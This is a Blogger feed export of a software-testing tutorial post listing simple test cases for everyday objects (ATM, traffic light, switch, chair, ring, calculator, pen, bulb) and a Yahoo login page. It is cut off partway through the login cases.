<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3175749124849961665</id><updated>2026-10-16T15:06:59.471-07:00</updated><category term="SDLC Model"/><category term="Test Cases"/><category term="Test Plan"/><category term="Black Box Testing"/><category term="Certifications"/><category term="Configuration Management"/><category term="ISTQB Question Paper Dump"/><category term="QA and QC"/><category term="Bug Life Cycle"/><category term="CMM level"/><category term="SDLC"/><category term="STLC"/><category term="Types of Testing"/><category term="Validation and Verification"/><category term="Web Testing"/><category term="A Quick 10-Step Guide"/><category term="Comparsion"/><category term="Cookie Testing"/><category term="Defect and Failure"/><category term="Functional Testing"/><category term="Functional and Non-Functional"/><category term="Inspection and Walkthrough"/><category term="Interview Software Testing"/><category term="Load and Stress Testing"/><category term="QA vs QC"/><category term="RTM"/><category term="Regression vs Retesting"/><category term="Severity and Priority"/><category term="Test Entry and Exit  Criteria"/><category term="V Model and W Model"/><category term="White Box Testing"/><title type='text'>Software Engineering</title><subtitle type='html'>Software engineering is defined as a process of analyzing user requirements and then designing, building, and testing software application which will satisfy those requirements.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>vipin</name><uri>http://www.blogger.com/profile/10319824518273027772</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>105</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-5346356928164162963</id><published>2023-02-16T23:04:00.001-08:00</published><updated>2023-04-03T04:31:42.087-07:00</updated><title type='text'>Test Cases</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;1.Test Case for ATM&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
TC 1 :- successful card insertion.&lt;br /&gt;TC 2 :- unsuccessful operation due to wrong angle card insertion.&lt;br /&gt;TC 3:- unsuccessful operation due to invalid account card.&lt;br /&gt;TC 4:- successful entry of pin number.&lt;br /&gt;TC 5:- unsuccessful operation due to wrong pin number entered 3 times.&lt;br /&gt;TC 6:- successful selection of language.&lt;br /&gt;TC 7:- successful selection of account type.&lt;br /&gt;TC 8:- unsuccessful operation due to wrong account type selected w/r to that inserted card.&lt;br /&gt;TC 9:- successful selection of withdrawal option.&lt;br /&gt;TC 10:- successful selection of amount.&lt;br /&gt;TC 11:- unsuccessful operation due to wrong denominations.&lt;br /&gt;TC 12:- successful withdrawal operation.&lt;br /&gt;TC 13:- unsuccessful withdrawal operation due to amount greater than possible balance.&lt;br /&gt;TC 14:- unsuccessful due to lack of amount in ATM.&lt;br /&gt;TC 15:- un due to amount greater than the day limit.&lt;br /&gt;TC 16:- un due to server down.&lt;br /&gt;TC 17:- un due to click cancel after insert card.&lt;br /&gt;TC 18:- un due to click cancel after insert card and pin no.&lt;br /&gt;TC 19:- un due to click cancel after language selection,&lt;b&gt;account&lt;/b&gt;&amp;nbsp;type selection,withdrawal selection, enter amount&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;2. Test cases for Traffic Signal&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em; text-align: justify;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify if the traffic lights are having three lights(green,yellow,red)&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify that the lights turn on in a sequence&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify that lights turn on in a sequence based on time specified(green light-4.1min,yellowlight10sec,red-light 1 min)&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify that only one light glows at a time&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify if the speed of the Traffic light can be accelerated as time specified based on the traffic&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;verify if the traffic lights in some spots are sensor activated.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Verify that light are properly visible and dark and are on proper height so normal human eyes can see it propely at night and day.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Verify it shows remaining time.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;3.&amp;nbsp; Test case for 2 way switch&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em; text-align: justify;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check whether two switches are present.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check whether both switches are connected properly.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check power supplies for both switches.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check on/off conditions are working properly.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check whether any electronic appliances connected to the 2-way switches should not get power supply when both switches are either in on state or off state.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check whether any electronic appliances connected to the 2-way switches should get power supply when one switch is in on state and other is in off state or vice versa.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;4 .&lt;/b&gt;&amp;nbsp;&lt;b&gt;Write the test cases on Chair?&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;Ans.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
a. Check whether the chair is very comfortable to take rest.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
b. Check whether the chair is available in your favorite color.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
c. Check whether the chair is made up of plastic or wood.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
d. Check it has got wheels at bottom to move from one place to another place.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
e. Check whether it has got some extra adds ins to stretch on back.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
f. Check whether it has got any seating adjustment to make height high or low.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
g. Check whether the chair seat has got some air space to flow of air.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
h. Check whether the chair has got enough space to be seat with fat or thin&lt;br /&gt;people.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
i. Check whether the chair is up to your price.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
j. Check whether the chair is very attractive.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
k. (Out of box) throw the chair from 1&lt;sup&gt;st&lt;/sup&gt;&amp;nbsp;or 2&lt;sup&gt;nd&lt;/sup&gt;&amp;nbsp;floor to check the capacity. That is not easily breakable.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
You can add some more answer and test cases…&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
l. Check how much weight it can handle.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;5. Write the test cases on Ring?&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;a.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;It is easily in and out in the figure.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;b.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Verify it is not harmful to the skin.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;c.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Verify it is suitable in each climatic condition.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;d.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Check the design is very attractive.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;e.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Check the ring is made up of metal or gold or silver.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;f.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Check whether the ring is up to your price.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;g.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;Check whether it is not breakable easily.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;6.&lt;/b&gt;&amp;nbsp;&lt;b&gt;Test cases Calculator&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em; text-align: justify;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;It should have 9 numeric digits.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;it should give proper output based on the operation.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;it should&amp;nbsp; not allow characters.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;it should run from cell or battery not through power supply.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;it should be small in size.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;at least it should perform 4 basic operation such as&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;add,sub.div, multiplication&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;7.Write the test cases on Pen?&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen’s ink should be dark so that normal human eyes can read clearly.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen should be continuously in writing mode.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
. pen’s refill should be available in different color.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen should have the soft grip at the middle place for usability.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen should be in continuously writing mode under hottest and coolest temperature.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· If pen drops from the several feet then also it should be in continuously writing mode if ink is available in pen.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen should not be “Use and throw” type.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen’s refill should be replaceable.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
· Pen shape should be straight.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
. Pen height and size should be as per standards so than can user can easily carry and hold it.&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;8.&amp;nbsp;&lt;/b&gt;&lt;b&gt;Write the test cases on bulb?&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em; text-align: justify;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb is required shape and size&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb is fitted and removed from holder&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb glow required illumination are not&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb it should glow when we switch on&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb it should off when we switch off&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the bulb material&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Life of the bulb should meet the requirement&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; margin-bottom: 1em; margin-top: 1em; outline: none; padding: 0px; text-align: justify;&quot;&gt;
&lt;b&gt;8. Test Case for Yahoo Page&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;background-color: white; color: #333333; font-family: &amp;quot;Helvetica Neue Light&amp;quot;, HelveticaNeue-Light, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; outline: none; padding: 0px 0px 0px 2em; text-align: justify;&quot;&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the Logo of Yahoo on yahoo page when yahoo page get open.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Check the UI of yahoo page.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Testing without entering any username and password.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Test it only with Username&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Test it only with password.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;User name with wrong password&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Password with wrong user name&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Right username and right password&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Cancel, after entering username and password.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Enter long username and password that exceeds the set limit of characters.&lt;/li&gt;
&lt;li style=&quot;margin: 0px; outline: none; padding: 0px;&quot;&gt;Try copy/paste in the password text box.&lt;/li&gt;
